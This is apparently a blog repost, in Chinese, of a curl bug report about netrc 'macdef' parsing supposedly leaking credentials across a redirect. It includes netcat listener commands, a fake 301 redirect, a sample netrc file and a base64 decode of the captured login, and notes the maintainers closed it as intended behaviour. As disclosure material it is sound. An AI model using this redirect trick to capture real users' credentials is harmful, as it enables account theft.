解析netrc.c中macdef时状态清除不当导致的凭证泄露漏洞分析

本文详细分析了curl工具在处理netrc文件时存在的安全漏洞,当解析macdef关键词时未能正确清除先前加载的凭证,导致重定向过程中凭证泄露到新主机,这是CVE-2024-11053的新变种。

报告 #3211973 - 解析netrc.c中macdef时状态清除不当导致的凭证泄露

时间线

oxghostly 向curl提交报告 2025年6月20日 10:32 UTC

摘要

  • 当解析netrc文件时,macdef关键词未能清除先前加载的凭证。如果随后发生重定向,这些凭证将泄露到新主机
  • 这是CVE-2024-11053的新变种,由不同的代码路径触发(使用’macdef’而非’default’)
  • 该漏洞通过手动代码分析和测试发现

受影响版本

curl 8.15.0-DEV (x86_64-pc-linux-gnu) libcurl/8.15.0-DEV OpenSSL/3.5.0 zlib/1.3.1 libpsl/0.21.2 发布日期:[未发布] 协议:dict file ftp ftps gopher gophers http https imap imaps ipfs ipns mqtt pop3 pop3s rtsp smb smbs smtp smtps telnet tftp ws wss 功能:alt-svc AsynchDNS Debug HSTS HTTPS-proxy IPv6 Largefile libz NTLM PSL SSL threadsafe TLS-SRP TrackMemory UnixSockets

复现步骤

  1. 设置两个监听器:

    • nc -l -p 9000
    • echo -e “HTTP/1.1 301 Moved Permanently\nLocation: http://localhost:9000” | nc -l -p 8000 -q 1
  2. 创建poc_netrc.txt文件,内容如下:

    1
    2
    3
    4
    5
    6
    7
    
    machine localhost
    login admin
    password SuperSecretPassword123
    macdef foobar
    echo "malicious macro"
    default
    login not_admin
    
  3. 执行curl触发泄露: ./src/curl -L --netrc-file poc_netrc.txt http://localhost:8000

  4. 验证凭证泄露: echo YWRtaW46U3VwZXJTZWNyZXRQYXNzd29yZDEyMw== > temp_output.txt base64 -d < temp_output.txt 结果:admin:SuperSecretPassword123

影响

如果攻击者控制重定向,可以诱骗curl将受害者的.netrc用户名和密码发送到错误的服务器。这种情况可能在用户不知情的情况下发生,特别是在使用.netrc自动登录的脚本或CI管道中。

讨论过程

开发团队最初认为这是一个安全漏洞,但经过深入分析后确认:当主机名相同但端口不同时(如localhost:8000 → localhost:9000),netrc文件的设计就是根据主机名而非端口号来提供凭证,因此这实际上是预期行为而非安全漏洞。

最终解决方案是更新文档以明确说明netrc文件按主机名而非端口匹配凭证,报告被标记为"信息性"并关闭。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计